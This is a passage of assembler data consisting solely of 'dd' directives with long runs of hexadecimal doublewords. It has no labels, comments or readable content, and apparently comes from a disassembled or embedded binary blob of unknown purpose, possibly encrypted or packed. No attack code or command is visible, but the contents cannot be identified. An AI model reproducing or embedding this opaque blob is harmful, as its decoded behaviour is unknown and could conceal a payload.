0B5C4C77Dh, 1FAD6084h dd 0C982E800h, 1168DFEDh, 41550040h, 7FC7A3Eh, 0F116D4D6h dd 0A800512Fh, 6BBEE90h, 0AD0907C3h, 50F67943h, 0A7F2AAACh dd 0A68A2F00h, 0CD553D3Ch, 48900Eh, 3A1D60E8h, 34BB1E70h dd 8ED1A700h, 4390F7C6h, 0AE5A01ECh, 80A61905h, 0BCB3EF6Ch dd 1181701Dh, 0AFED1040h, 0C760937h, 120C405Ah, 24008D21h dd 67CD16Dh, 8EDDE9h, 99A0780Ah, 7A23CD17h, 6D307DB8h dd 77F7315Ch, 8DA100F6h, 9F2AC2FEh, 61503408h, 1D26CAACh dd 0B200DB96h, 2FC133ADh, 3B7FE48Eh, 40E05881h, 0DF325BD3h dd 22BE6D01h, 0FAFD30E5h, 9EB824h, 0EF0398CCh, 741651BBh dd 0F606D1Eh, 0A13DAE40h, 3ACDC1Ch, 73D9DA08h, 5D83B047h dd 4D9E60E8h, 989F7126h, 0EC9B0401h, 56E47077h, 0CBB0C018h dd 0E1EABBF2h, 0B62F2D00h, 0BA72B82h, 7D370F15h, 0D4C78FDDh dd 66EC90FAh, 0CF00A524h, 0B3CB23F0h, 301E7559h, 5C19DD69h dd 7D00F84Ah, 55278C15h, 7F2CEEh, 31E8D80Bh, 80E5AAB3h dd 15640C07h, 0B0B0764Ah, 267CF9Dh, 0F29014Bh, 5C60D726h dd 8D151983h, 80CDF8h, 6A4A0344h, 12812825h, 4345F6h, 0A6C45355h dd 180193CEh, 0CDBD24E3h, 44D4115Ch, 90EAh, 0B81E8BB1h dd 4667921Dh, 0C5173Ah, 0D18E208Fh, 0E586BBh, 70AC8114h dd 48F47B6Dh, 3C77AD00h, 9622BF63h, 61463D65h, 41E298Ch dd 7C009E10h, 0C2707FF5h, 4F323Bh, 0DC331A52h, 0F8E84CF0h dd 0C55FC60Eh, 1E910017h, 310C75h, 1483BF79h, 0EFA536E8h dd 0A7CA3F00h, 0BA516398h, 5F9B1C46h, 1896652h, 0B4B2C5D5h dd 33208F25h, 0C8E80010h, 90F27C14h, 0EAE8E7h, 327B0BDBh dd 0A67A4CA2h, 0F7317763h, 0A038E01Bh, 0C38600C2h, 9A3DC17Eh dd 89006B92h, 0C73A4749h, 48F64D1Bh, 0F2005027h, 0B3D0C430h dd 81002E43h, 9257CD10h, 2247F6h, 0A838E0A3h, 61656F25h dd 0D438600h, 40EF7F77h, 6ACC00C2h, 8F560850h, 2E00A0F5h dd 0C3EFADEh, 75F799h, 8608C84h, 0B5AF1342h, 0DA9B8801h dd 9EE7E88Dh, 5CAF30h, 7C0C8914h, 355196DDh, 8E0E8600h dd 564A19F8h, 0A5A0039h, 301AF979h, 85096622h, 687CBDBBh dd 1FE6875Ch, 65781EF4h, 0C3AB9085h, 0AFB8C7AEh, 0E7013C5Dh dd 217D1DEFh, 0DEF55799h, 7810C4h, 4149A331h, 6C0CE2EEh dd 81A42E3Fh, 9E3ED66h, 0C1DC3281h, 961A0217h, 6AA899Ah dd 0A28C84C8h, 7E90E3Fh, 7EF5659h, 1160264Fh, 0C41FF020h dd 4F32FF10h, 105D000Fh, 9774DFh, 25F5C233h, 53ECEDDAh dd 780ED5B0h, 5FC93B2Eh, 830021DEh, 4CC8FE3Dh, 941C0156h dd 47072E80h, 1D8C2479h, 0F0559330h, 2744C1h, 607049E4h dd 8C1F2F48h, 0ED0EB818h, 4CEF6388h, 6C2ADD68h, 48072890h dd 36FC0024h dd 0F59DBF4Ch, 3EB05CA2h, 883D100h, 0EDA332EAh, 0D8600AAh dd 6B81CD78h, 0F9003EC1h, 0C219E5B8h, 621A13h, 0F2C52187h dd 0F6C9A952h, 5C7DD372h, 80E3A53Fh, 0B525CD9Bh, 0C116CFh dd 0BEA6F6Eh, 0ED2A6B5Dh, 6D56A107h, 8590CA27h, 0FE7837DCh dd 4E1C0E22h, 0A28011E1h, 5E2FC009h, 0FAFBAB00h, 0BE7D526h dd 0DFD8F577h, 0D27009Eh, 0C3EC7203h, 60098529h, 0CA1AA019h dd 0B0041C9Ch, 8F8D01C9h, 0F24656C3h, 42F8F36Ah, 0C91DA205h dd 75C07F20h, 27BB5F7Eh, 33A3E2C8h, 0FE400E61h, 8E323A00h dd 0F882F30Dh, 0A7C00FFh, 0C31DDF74h, 0BB30B5F7h, 0D7882001h dd 355A296Bh, 0FB07E220h, 0B7C86331h, 5060F0D9h, 72B5C90h dd 961ED02Fh, 8E6C5128h, 4089838h, 1F26D121h, 0BE6BD0h dd 9E2258DCh, 2370BAD3h, 7AEDCB06h, 0E0D84685h, 8C330C6h dd 2B0B0E80h, 80A02348h, 5CB7C568h, 58D73FEFh, 8C70799h dd 2A21815Dh, 7025B7BDh, 9BECB20h, 90046372h, 8E64F981h dd 84298118h, 5435FFE7h, 256811B2h, 52E40A33h, 4434C7EFh dd 0BB48405Ah, 67DF1B7h, 7F9E477Eh, 8198B035h, 44526375h dd 1F201DE4h, 77733785h, 5255F040h, 6FDC6C5h, 0F6074C86h dd 6962084Eh, 695A3621h, 0B3319ED4h, 4B565887h, 2FD3B3FEh dd 0AA951026h, 6970C70Ch, 0F2360019h, 79665C7Dh, 0D61C3B58h dd 0D4A85B35h, 2D025A46h, 389620D0h, 8074F730h, 0D00024CBh dd 53CEED01h, 37FA4D67h, 8A586091h, 812A1194h, 0EF55B7C2h dd 105C31C6h, 5B7BA2Bh, 8D8A57BEh, 9EF00933h, 6E08013h dd 0E83CB03Fh, 0FD61006Eh, 21E44FFBh, 0FADA0067h, 76ED68A2h dd 89090A97h, 80078A31h, 3692466Ch, 88A9063Ch, 510F9CBBh dd 4C202A00h, 272CC22Dh, 9896679h, 4A072116h, 0F1C94C38h dd 0BC9251E0h, 30FE3C5Ch, 0C60B79Fh, 74E870D9h, 96550702h dd 448771D5h, 0C59100CCh, 0F6B9FBEBh, 0E918946Ah, 0C7306151h dd 5A8A1FDBh, 0A46000F1h, 6495BE74h, 0CE30BBF8h, 0F996186Dh dd 0B61C59Dh, 10A8A4F3h, 0A1DF15E0h, 91D4F414h, 745F88BCh dd 17026046h, 0CE822E6h, 5F00E0D1h, 0DAE7139Bh, 2387007Ah dd 334FCFD0h, 930F0D9Eh, 22A68E0Ah, 83787368h, 0F2E0A87Ch dd 0E8D98124h, 0AC52C7F3h, 501BE05Ah, 2D41006Ah, 5EBE3964h dd 49049D43h, 88C82CA9h, 32943488h, 28C852A7h, 12B7C430h dd 38BFEF57h, 0BC014520h, 0EB193FB7h, 94501E9Dh, 2E9B17A5h dd 0AC3995h, 52A481E3h, 5E00D342h, 0B90DF97Bh, 144170D4h dd 0C05D22F3h, 0FC32EE01h, 8D7D3EBAh, 0E17E7610h, 0B3A1CCh dd 0ACA9A8C4h, 0F3AFD4C5h, 0CD648A0Fh, 0DCF5E284h, 3FEC80EBh dd 984762DBh, 0F99203C8h, 795FFE42h, 480083CCh, 99F444E5h dd 0EBC1034Ch, 270AE4Ah, 81A954D9h, 1080E960h, 24CE2F3Dh dd 5989F4F5h, 30901248h, 8DBC9976h, 6FFD734Fh, 35C0F90Dh dd 0D39D7DC1h, 1042A4Ch, 8DFFA91Eh, 10810CABh, 6E849871h dd 831ACE5h, 4FB1D106h, 6820F170h, 8000FD28h, 4B247BDh dd 898AED0Dh, 0F2CF801Fh, 38586C1Ah, 0FD91C55Dh, 8F72887Eh dd 46E0653Bh, 9F95F0A6h, 19F59E00h, 0A8C7D96Fh, 784099D8h dd 867506h, 0F980AE74h, 0B5F851F4h, 84FA072Ah, 895D1075h dd 0ED740718h, 0DFD3BA5Ch, 1AC82A03h, 0A26840C0h, 0E1D33207h dd 0ACCA71B4h, 7E0054Eh, 90998CC0h, 897701F7h, 912B9D8Ah dd 8D043264h, 8583C5Dh, 0C848549Eh, 274F0080h, 0FDE85498h dd 0F948E276h, 0A68A0914h, 69648692h, 0B4CE00F9h, 0FED6C70Eh dd 0ED005B46h, 0A689E53Ch, 18AD19BAh, 0A1FB1063h, 0F313C575h dd 1C236892h, 6701A4A5h, 81634EDBh, 61247E18h, 39E0EEBAh dd 7D733338h, 0C7AF2941h, 0D7718011h, 0B7B08D52h, 7809C8A3h dd 97A8E561h, 8011919Ch, 93B9873Bh, 124DEEDBh, 411D999Ah dd 6900F18h, 651375h, 0C81ABC08h, 0C24C5B5h, 2107F130h dd 2A6A14BBh, 18FC941Eh, 6913F810h, 743EBE64h, 6CFEA49Fh dd 0C0270A16h, 5D2907C0h, 14C37C70h, 0F828579Dh, 0C19A8106h dd 600C881Eh, 1934DFBDh, 0D1BCB13Bh, 26AF186Ah, 40402191h dd 6BE3B093h, 71DA1200h, 5BD74A5Ah, 5EF831h, 23B379F4h dd 0A2EDD4F1h, 782344A3h, 0C556011Bh, 18A6FDC2h, 5E3A886Dh dd 0DE38C503h, 109AFCEAh, 12D3E0h, 6250E085h, 9164E6F3h dd 5EDD0808h, 0D6A9890Fh, 0F408DC53h, 0D033C064h, 8489622h dd 2ACDE0B4h, 2D841ED0h, 50AD400Dh, 2B4C53BCh, 762820C3h dd 0BAA11E67h, 4B084036h, 9DDE8B59h, 9400DBF8h, 60FC7D56h dd 985CAA68h, 22E7F034h, 0BD207B11h, 0D1289109h, 0F9186Eh dd 365C0487h, 0CB4EB8BBh, 8F74E10Ch, 4CC113h, 4267CA24h dd 2D666F63h, 5E00B00h, 99C45D48h, 2C7C0547h, 0C218F60Eh dd 1F30BE14h, 0C22E114Ch, 80178834h, 0B74C3749h, 0EB7F73F8h dd 0DA6F4A00h, 93A78BCEh, 74232A07h, 0C7E11CB4h, 0C32C071h dd 0CFBEEE2Eh, 0EDB3E412h, 1614C08h, 729D42Fh, 0B27DC16h dd 6FD11091h, 0C91F6418h, 0C4895B09h, 11D884D2h, 38FE80B0h dd 1848F3B5h, 80C8EF00h, 5E66EB61h, 55F99480h, 0FC42CC89h dd 4C2130B8h, 4C21411h, 53821288h, 5DE84C19h, 0CCAD4A84h dd 0F5007168h, 8A9F80A9h, 5DBB6208h, 96058002h, 2090433Bh dd 0EF0520D4h, 0AD4A4500h, 1602B4B0h, 92711809h, 8F64E17Ah dd 220371DEh, 0CB62BB8Ch, 0F1410011h, 9BF3EAB8h, 0A3795D86h dd 6ED05900h, 5213BBB3h, 6D032EECh, 8026112Ch, 0EF51B7C6h dd 5E448CCFh, 0B7BE0047h, 1CC4870Fh, 5C0148BCh, 82EF6B26h dd 0DC4540B1h, 4C00E084h, 53BBC527h, 1DED126Ch, 59B84874h dd 1FD02EC0h, 10404696h, 0CE0774F8h, 0C287D025h, 0E084688Fh dd 2308540Dh, 0C55C0519h, 0A22984C0h, 643CC010h, 0B05D65C5h dd 0FC4CF1E0h, 0D7B00CBCh, 96055E3h, 2DA838Bh, 0BE747C20h dd 0C4E95BC6h, 7DC0182Ch, 0DFEF21B7h, 0B7B829C0h, 3EEE7F46h dd 0E48BD4F5h, 540245A2h, 98802379h, 0E9D795FEh, 0F718D4B0h dd 12B16673h, 755C0036h, 6CDA4DB6h, 2318314Ch, 1D295CBh dd 0BEA00066h, 0FB21042Eh, 640024A9h, 9A333EEDh, 0F92D8AEFh dd 0BD746082h, 0E00EF7F3h, 104265A5h, 20FF1D64h, 22F657D9h dd 0A382BC94h, 0F4CB8583h, 1C72ECE0h, 18FD0498h, 304C081Dh dd 18C424C2h, 0C0354F45h, 530FB4D5h, 0F7E8A50Bh, 0A06C00EBh dd 9DFC155Eh, 7C823562h, 0E4520110h, 0AE30909h, 84086A63h dd 2260BDBCh, 0C223334Ch, 2311FCh, 0CE4C1A54h, 0A858AD2h dd 0D4395FDh, 0C53803F4h, 291A8963h, 9D09C00Ah, 75038848h dd 6D04206Eh, 0F2ED7CDCh, 14D703DFh, 27EC0BB5h, 0FF0B297Ch dd 909270F9h, 9F5C7A0h, 0C659A80h, 7FAD8C0h, 0FB615101h dd 0F2553ADAh, 517E8847h, 9408C407h, 0A071B0B4h, 0E312C7B2h dd 0CC806796h, 60AFB5F7h, 0DA88E01Dh, 0C3258F7Dh, 0B9C009Ah dd 5381209h, 0C0CAFFBCh, 3010A132h, 5B40D584h, 74E30AC5h dd 5B8F787h, 812057A7h, 8376BD48h, 0F8FC0A20h, 203CF524h dd 4084468Fh, 0E8C5FA8h, 961DD030h, 74E98491h, 0D027CC03h dd 65E098D0h, 0F6086901h, 0A7918A89h, 180E19CCh, 7067E1D2h dd 0D8A7C8C7h, 0B9600244h, 0C700ADA0h, 0F66146DAh, 919D6236h dd 2817007Ch, 903DCC59h, 2799FA60h, 6E568Ah, 71983C31h dd 0C9C6F9FEh, 0CD55502h, 0A0827683h, 524E3FECh, 14610044h dd 838D224h, 6F5CC940h dd 0CEE04124h, 0C5480864h, 6B007448h, 0F14D1247h, 2DF7A4h dd 904C9897h, 760B80B8h, 4120A898h, 1462FE13h, 0EC7A46EBh dd 0B0B48E06h, 0F3E45012h, 0B8E90C60h, 59C1588Ch, 0ED0380E4h dd 3BB201F5h, 79711380h, 419E58A0h, 9357F9C0h, 1C3CC9FCh dd 8001E533h, 15875C07h, 0D890D208h, 38DAE3Ch, 3281B0F5h dd 0C08EFBC1h, 1F7BBADh, 3EEF33Bh, 24C7957Eh, 733B05B4h dd 1ADB9278h, 63D0C480h, 43644F8Dh, 24F99AECh, 2B9ED818h dd 74C589h, 4A6A5602h, 1F815994h, 2A4DDC00h, 0A8EA36CBh dd 3D8A184Fh, 819F3943h, 0B7736000h, 0BA956EC8h, 79820017h dd 75CBC35Bh, 0DD00AEF8h, 0B00F03A8h, 7937285Ah, 25690363h dd 6E8B91B7h, 4F73DFA0h, 321CF905h, 9D032B08h, 0A3E3FBF0h dd 31210075h, 9AF71D11h, 278589Ch, 5EBFEB03h, 0D0E1B6DCh dd 3E5F2174h, 0BE1FF48Bh, 0DB96CCECh, 0E0182518h, 6F49A73Ah dd 0AE8803D7h, 4FAC421Ah, 884E6CFh, 0FC21CF60h, 0F8AE90h dd 2B4ACEBAh, 0AFF120B2h, 7126E007h, 73501BD3h, 0E8EB4608h dd 54BD0498h, 1BB24D9h, 742B3DB2h, 0B75118B0h, 0AC30D956h dd 766E20C1h, 284A4096h, 0DB88E11Ah, 80883718h, 0C56970E8h dd 15380259h, 0C7C81857h, 304E0650h, 16983E7h, 0C684D6A4h dd 29D48C10h, 0A0347701h, 67B4AE43h, 0DC94F4h, 70727B89h dd 0C10EE455h, 0CAE92A00h, 711841A0h, 5C5F003Fh, 3226BD54h dd 491FFD58h, 0F7478573h, 6EB078C2h, 1E52BD2h, 91B6DB4Ch dd 47A1AE5Fh, 0A6E4E0C7h, 0E1A03DC3h, 0FE009FB3h, 0C0BE07DFh dd 874A49h, 92156EDBh, 57DA66CDh, 0FC4EB900h, 0C9EA898h dd 7E6B0106h, 58CAF107h, 0BA36FC3Dh, 4346CD00h, 0C02618B0h dd 0F78C3DE1h, 8623F900h, 3CF54E3Ah, 1ED60400h, 268DFF9Fh dd 0D8D500A7h, 0B1AB4F94h, 341FE450h, 4900EB8Eh, 32DDEC35h dd 21B900D8h, 0C297AEDCh, 0E763B736h, 0EBDF08h, 21B1FA20h dd 0F6EA3FEEh, 74CD7000h, 25135B4Fh, 37C803F7h, 383516B9h dd 0A3125000h, 73A77F66h, 0AFE21907h, 801B08FBh, 66EAF321h dd 85EDB1h, 8F1FB02Dh, 7F5CE75Fh, 0A5BC2000h, 2959C1F4h dd 23A80E79h, 9AC03F14h, 5DEC37DCh, 62DB6E03h, 36383B77h dd 88593280h, 0A102B346h, 0A3A77D66h, 0D9101A31h, 3D0066E8h dd 7C5C4BCFh, 313B6D4h, 59412992h, 783B233Fh, 38AB8006h dd 0EB3B37BEh, 41336C5Dh, 0D742A30h, 0DC008D7Ch, 0EAFE12A3h dd 12BAD33h, 0DD6746F9h, 0D0980781h, 0ED00922Ah, 0AA76313Bh dd 1E3B437h, 5288B13Fh, 60E9C3ABh, 1700C76Eh, 9C2CEC4Eh dd 7828F8Ch, 0B04D16Ch, 15EA80FDh, 0F2006820h, 2E589F8Dh dd 0EC23068Eh, 21570109h, 55178B48h, 13CEF825h, 8AED3200h dd 0C34780BAh, 424D0056h, 71913F4Ch, 6A0069FCh, 1AF13553h dd 0CA9996h, 0CB4BB5CDh, 4E937FF4h, 4CE77A0Fh, 0E030DB6Fh dd 1A2ECDCh, 6DDAC276h, 0AC425206h, 45077B58h, 0F0C60EB9h dd 27100091h, 33F6D6F4h, 0D8D88A9Ch, 65DCA4h, 0E895342h dd 443E22EDh, 759F1B00h, 38496ADEh, 0B0471FC6h, 30088098h dd 0D952502h, 0E5035E74h, 1ED7707Bh, 1647809Ch, 3F20026h dd 0AFD92724h, 78EA5BA9h, 41317D00h, 0D6DB586h, 39500092h dd 0A2B46944h, 0D200B812h, 8AFB7A7Dh, 10B5E4Eh, 0FE6D7E9Bh dd 81644D89h, 1207910h, 0D160CF54h, 0C17FEEh, 0C2D83E38h dd 35231C0h, 125EBC00h, 0B79F515Bh, 1C0E0094h, 0AE72D8E3h dd 9E001120h, 0EB638DF8h, 816BE6h, 2D51C502h, 0F48E7CF6h dd 24B26200h, 9FB8FB70h, 97090799h, 60FD839Bh, 0D80BC9F7h dd 0F20085EEh, 0B3462CC0h, 432FABh, 307A50C2h, 7C4F598Dh dd 809CD700h, 0C15ADE6Eh, 2CCA00ABh, 62BA4E5Dh, 637C2252h dd 0B5101E0Fh, 740376BBh, 880E9C74h, 1C6A18D8h, 0A6E72908h dd 0E926071Ah, 0E480AF72h, 0F1421C22h, 0FC069900h, 0E2C9AC52h dd 0F6413EBCh, 97A0CCB0h, 0BB00D6E0h, 0F5840615h, 77A42F7h dd 43C40280h, 3BD1E0F8h, 6930F2E2h, 7FEBF064h, 0E7251E2Bh dd 76160009h, 2053BE3Eh, 35ECEDB8h, 60F00700h, 193BD94Eh dd 0F9A90054h, 98CA42E8h, 0E3005E5Ah, 0CF443D41h, 74070D3h dd 4BA0018Fh, 1DC080FDh, 1A1DACA3h, 7F8EBFA9h, 0DE39C7CAh dd 37867041h, 411E840h, 0FAE200F2h, 205AAD8Ah, 0D9E4101Bh dd 5780EB0Bh, 357000F1h, 11716BBh, 9D8E4325h, 0DCFA5450h dd 130F4865h, 0E02DCCE3h, 4EEB02E6h, 619C004Fh, 0E7F57867h dd 0F80E3C96h, 0C058057Ah, 0B7859AF4h, 4788008Bh, 0B5238390h dd 4C7972CFh, 10B28700h, 0D23F5D04h, 0DB1909CCh, 238792BBh dd 0CBF85094h, 870009C0h, 0FF80EE5Ch, 0FD29CAh, 0DA75119Bh dd 65360859h, 5473B900h, 9686E823h, 0A44A002Eh, 57CBC78Fh dd 0C2704B12h, 0D00E276h, 0E0435684h, 0A839AAFh, 63B25AC6h dd 983E01E8h, 0DD95960Ah, 0C6D844EEh, 0E933B420h, 0E07D10EBh dd 0F9B96EDh, 41A243BCh, 8ECE9AE0h, 290538F2h, 23789EF3h dd 4BA05C0h, 40F4D3h, 19609F03h, 1F2B9CB9h, 75EF320Bh dd 42B88366h, 0AB2CA877h, 231B005Ch, 5BB77291h, 55003DBCh dd 26C828A2h, 9B4080h, 0AA89AC76h, 1B231267h, 1E3D1500h dd 7B16BDD0h, 22F00A6h, 0CA1854AEh, 5700EB28h, 6DB778A2h dd 0EC57C03h, 0F0F26515h, 0C05C60A7h, 0B1F4ADC1h, 0E6366E00h dd 4CAC7225h, 0FDD30014h, 10902B3Eh, 4A00097Dh, 24942EFFh dd 3D62F6h, 2C0F9775h, 7B34E7F0h, 25CFE400h, 6C1F1B15h dd 80403CEh, 0BE7A4059h, 0ACA0E5F0h, 6DA1D00h, 954C0C2Fh dd 0F47856h, 0F596303Eh, 0DCFF3388h, 218D2801h, 0FBAEBE4h dd 0DAF03DEDh, 1817958h, 4DF8E5C5h, 0ECA878BBh, 1A00A507h dd 4642DC5Dh, 58318222h, 6A006851h, 0A0E41EA1h, 0C52E8A79h dd 0F00355Eh, 93C1A4BBh, 5F9D009Fh, 4CDBB621h, 0A27531FAh dd 33B7300h, 0D06E8565h, 7540E08Fh, 14750004h, 8D076FAAh dd 437660DDh, 52216800h, 55D4D5E1h, 0AEF8002Ah, 470D4541h dd 0C9006F8Ch, 0B2185BAAh, 6A27B5h, 75AD3936h, 0FB5C1B0Fh dd 4E329B00h, 9FC1A535h, 0F0A748D3h, 4AA10575h, 80A8E9D1h dd 60E2EECAh, 96950E01h, 0F56CA0Ch, 4C50D2F4h, 0E13ED36Ch dd 8BDFA401h, 0D2EACCF6h, 376B7840h, 7EACE700h, 15D84C5Ch dd 5BA200E1h, 0CA2C117Fh, 7700AA2Eh, 75DB1FACh, 0ECEF52C5h dd 0DE0D0076h, 0A9D1E19Ah, 4D0757C0h, 2773E57Fh, 0A562A7B0h dd 127B0747h, 0C0C3F015h, 5217C2DAh, 0E0DD0C00h, 0D3280924h dd 0FA5F7271h, 71E3EADh, 4B841100h, 413CD1C6h, 6803B4F0h dd 9679F402h, 62802AFh, 0E2C8381Ch, 6831E880h, 0E40005E5h dd 0C9CE3F47h, 0A0BC718Bh, 0BC442FAh, 0EF1D48D4h, 501EC707h dd 1AA47791h, 30510E05h, 5F80EE22h, 86D52Bh, 7A0B933Dh dd 7FF12076h, 0EF1E8200h, 0B2ECADA6h, 83CC01B1h, 74BFC389h dd 2F77009h, 0A39D5307h, 72503F86h, 0FA92D0h, 2E749627h dd 9055D67Dh, 663AFF04h, 42C09F61h, 11AA644h, 0A1AECB8Dh dd 6008B339h, 0BC0FE8C8h, 60AF2081h, 97745FBEh, 98D1001Ch dd 84499505h, 0A40090DFh, 12A9CC21h, 76132062h, 1AAB017Fh dd 8BC51F0Ch, 0FE5370D4h, 1E81F000h, 67909CD3h, 39D616E9h dd 0ECD0072h, 48D11B7Dh, 59783262h, 0E0A9C0C3h, 41B9138Bh dd 0D084403Bh, 0F17A7562h, 0FDBB39h, 3D91FA33h, 9FE9DDh dd 415DA55Ch, 51E8CE2Bh dd 7BC5FF3Eh, 0D2686200h, 8761C046h, 7A3E0084h, 0BCBF2D1Ah dd 0C70090B7h, 42FE0656h, 92293Ah, 0F527E28h, 0CBDA6DDFh dd 25319C17h, 91AC8413h, 0BCB07Eh, 83BC5CEh, 7B8AA2CBh dd 0C91B3800h, 450105A7h, 9D260014h, 9AB90E65h, 0DF30A602h dd 75533867h, 443302A3h, 0AD8FD53Ah, 21C0E444h, 5BD71F57h dd 0CD3100FBh, 0F46BA6E7h, 7B03A8EAh, 8EE2A2F8h, 67B0970Ch dd 7D1C4830h, 264FEF7h, 37A4B80Eh, 0E0A0B295h, 14AE9D16h dd 37C3E4Ch, 0A573E3B5h, 9D732h, 84D023D4h, 0ABA809A6h dd 0B3007A49h, 0E2FC737Eh, 0C2556507h, 0B6875775h, 0E0C3CED3h dd 3C0F91FFh, 0DA043D6Dh, 87A4D64Dh, 0F7E050F6h, 0E500CD09h dd 72189CF2h, 0D7FD6Eh, 97BD3A68h, 0DDF77CA7h, 0C20057EEh dd 308CA284h, 671CB4h, 0A75690F6h, 6811C727h, 5B73F100h dd 4275318Bh, 22DA0E83h, 0D9F8136Dh, 0FA001AF0h, 15DC849Fh dd 2CD949Dh, 0A0CCAD2Ah, 0A8C070FEh, 950EC57Eh, 3DEF7DEEh dd 18D8F9CCh, 5E0730A6h, 1B2CDC49h, 24749575h, 0C93D5A38h dd 0F1B70040h, 1D1829ACh, 0BF8D00C9h, 0C4BAA7E4h, 32005A68h dd 80ACCB57h, 297B8B7h, 0AD41B5A4h, 34807CF1h, 37277F4Ah dd 72BF4B0Fh, 74AD00CFh, 7A9077E6h, 0D16A0360h, 0D9FCEC57h dd 981ACCE0h, 846020A4h, 0F37DF2C0h, 288242EFh, 0C130846Ch dd 2117F029h, 96B0028h, 0E093D870h, 9E0E5615h, 1785FC61h dd 7F407E1Ch, 6F205150h, 0DEC0042h, 21D36874h, 1D003FA7h dd 0DC96CE1Eh, 0EC2D5B5Ch, 0B40B0323h, 9DDB3A79h, 0CC7EC5A0h dd 6139D401h, 0FB6BE398h, 0F643D0h, 2C6ECF4Bh, 58353B7Ah dd 5F87BE00h, 480A305Ah, 89090168h, 0B564B801h, 0DEC18CFBh dd 1E2708CBh, 572195AFh, 9D5900E7h, 9B7ABA0Eh, 0B664E50Ch dd 0D6131FAh, 0F3183F68h, 0E4CFC11h, 900017F0h, 86E9B991h dd 67DDE893h, 6E0959C9h, 39344980h, 0F00138F8h, 0FBB70F82h dd 0D3F9DFF6h, 0CC8E2980h, 0C7A6B6C6h, 60F29F58h, 1F68F219h dd 38510083h, 6C6ABDB8h, 0FC00A6B3h, 0DCE6A2C4h, 0DBB56Eh dd 873C405Ah, 4D113268h, 0B6282900h, 3967E2BAh, 51CE60A6h dd 906AB01Bh, 32EC439h, 0B3CC69B4h, 79349867h, 0DB170BE2h dd 540042FDh, 0BCF5156Bh, 74B2B500h, 0F7B620F2h, 0D44A0349h dd 6128425Ah, 0C60D1BA0h, 70347403h, 0A02CCC7Ah, 354685Fh dd 0AC195548h, 81E6E487h, 569AF324h, 0B290CA00h, 745648Ch dd 5C2B93C3h, 62F252B5h, 8A8F8848h, 8EDC6903h, 0B83009A8h dd 2B8F014h, 3305011Dh, 90493C41h, 4B9BC429h, 0A00F73FAh dd 0E0F8FCE6h, 824EAC60h, 85E90CC8h, 3F598EF2h, 0D2D739h dd 0CEB49BBCh, 7C729FBDh, 2FDC78DBh, 0A076FDC3h, 0ED00BB1Dh dd 600DD86Eh, 43715Ah, 452A7301h, 17716815h, 0B080046Ah dd 4078D30Fh, 0EEF49BD8h, 405C6E07h, 0A2D17F80h, 8600026Ch dd 3526A6E0h, 1C733CF9h, 9C5482D8h, 49C9733Ah, 5C3F61E0h dd 0AAD41600h, 931ECEBBh, 2AC700CDh, 8A5964D9h, 0EA1E67F1h dd 88C0632Dh, 8B0DF273h, 0A0C2FE7Fh, 6F4EF848h, 5180F170h dd 182165E6h, 5CFC49h, 0F19AE98Dh, 411733h, 16906BA4h dd 0B426F894h, 631DDC19h, 3192F550h, 284820DEh, 927D43CFh dd 0B86CD101h, 0E315627Bh, 18E13220h, 7961F0F1h, 60FDDC8h dd 3BB8AA3h, 9B07CAF7h, 9821C667h, 19F9C0A5h, 0A8F42465h dd 0A2CB442Eh, 90235500h, 5212B7Bh, 8B878D20h, 27A401C7h dd 0D0A5783Ch, 862810B2h, 280F38F2h, 0C093ABCDh, 235A47ADh dd 8D59000Fh, 4AA9FEDh, 0E8003989h, 72A2CAE0h, 0C02D3A0Ch dd 0D8FE2381h, 0CE00686Eh, 0DBB27E9Fh, 251D325h, 789795D4h dd 3B4142EEh, 58FC4060h, 80EDF24Fh, 86E5AA79h, 7923FC7h dd 70F859EFh, 0CAF3A14Dh, 55BB4066h, 5D60F186h, 0A4706F31h dd 0B4BB001Dh, 830C1BA7h, 6B24230Ah, 400034E7h, 6479FB3Bh dd 37F50049h, 0C75D4C3Ch, 0DD526DD7h, 80C039C4h, 2A642436h dd 3173AB7Bh, 6CA05110h, 501CD0E6h, 58F7DA0Ch, 0D8796Fh dd 45FDA610h, 2873594Dh, 83134800h, 8FE5BFBBh, 6838C75Bh dd 0F15E114Ah, 0BDDDE0C8h, 34F71C0h, 1E9878h, 6AABA5CDh dd 463E6CF2h, 3F0FBF71h, 206F5FB3h, 0AEC3BDEFh, 0BE641280h dd 0EE2049ECh, 6C762883h, 0DD7092A7h, 8F00BC64h, 0FE693BB1h dd 2BDE72Fh, 8D3E3A3Fh, 0F880B903h, 85D15112h, 17F2811Fh dd 0E1C2E29Fh, 4334C8EEh, 3947F44Ch, 44BA507Fh, 0E4309872h dd 0D97819C0h, 7700002h, 0F32025BBh, 0FC00FA34h, 0B2E52C58h dd 12E75CC1h, 30231BF7h, 0CC7D5490h, 2A6E2103h, 9955AFB3h dd 72E415E5h, 0A04109E6h, 0DC10398Dh, 3500E3FEh, 7F7719B4h dd 0ED1E201h, 0C370D6C8h, 0EBC86D6Ch, 0AD04CAEEh, 4E8B3DA0h dd 0F666B8C0h, 3A220A1Bh, 0F80CE8h, 96414FDDh, 0AD4C195Dh dd 981802F0h, 80FDB039h, 0F4BC05D4h, 79F10307h, 0D4E4E86Dh dd 7BA6E900h, 38FE5C90h, 0D984303Ah, 0A2D27A19h, 0A803E779h dd 2CFFBC47h, 0F64BC0DAh, 791D3026h, 5C1CDB58h, 2260F81Dh dd 7A542BC0h, 628039B9h, 65F249C1h, 0C80244Bh, 520313E1h dd 44CDAD5h, 7DF9A03Ah, 0FCDD00B5h, 7A55DE9Eh, 84300BD7h dd 6523D810h, 0DCB60C17h, 95496307h, 8FBED800h, 12DFA847h dd 670603FCh, 0B207F3Dh, 0E6C2C11Ch, 2516B441h, 0E880E4F1h dd 6D0C1812h, 5A1599E7h, 28E0EB46h, 902A440h, 8634672Ah dd 0E4BC818Fh, 48606457h, 0E6E90E3Fh, 4A094DF3h, 0A6261C98h dd 0B07BFFEh, 0BB7A75AFh, 62D1AEF2h, 0D037639Ch, 2483B3A2h dd 401017E0h, 50537BF7h, 83189A3Ch, 775B8619h, 610BA188h dd 19A0D2F4h, 31F1B463h, 16D43087h, 0BA91D501h, 0E096ABBFh dd 0C6CE3C61h, 38FC0000h, 39FBC9E9h, 0AE121BC4h, 0C8005824h dd 69D86573h, 3C40B053h, 338A5E9Dh, 60CC1A0Ch, 0A7FE9F89h dd 56D1C16h, 0C3005BFCh, 0C8E17516h, 0CB00B280h, 4D8E296h dd 585123F7h, 0BA801821h, 0A0C4DECFh, 7FB6EC00h, 0B7643FF5h dd 7A8788EBh, 0BDBFCA01h, 5C6EEC41h, 0B96AE420h, 0C0859C54h dd 0EBB93ECFh, 45000683h, 0F0A6CBCAh, 31F6E865h, 41A95866h dd 74F18024h, 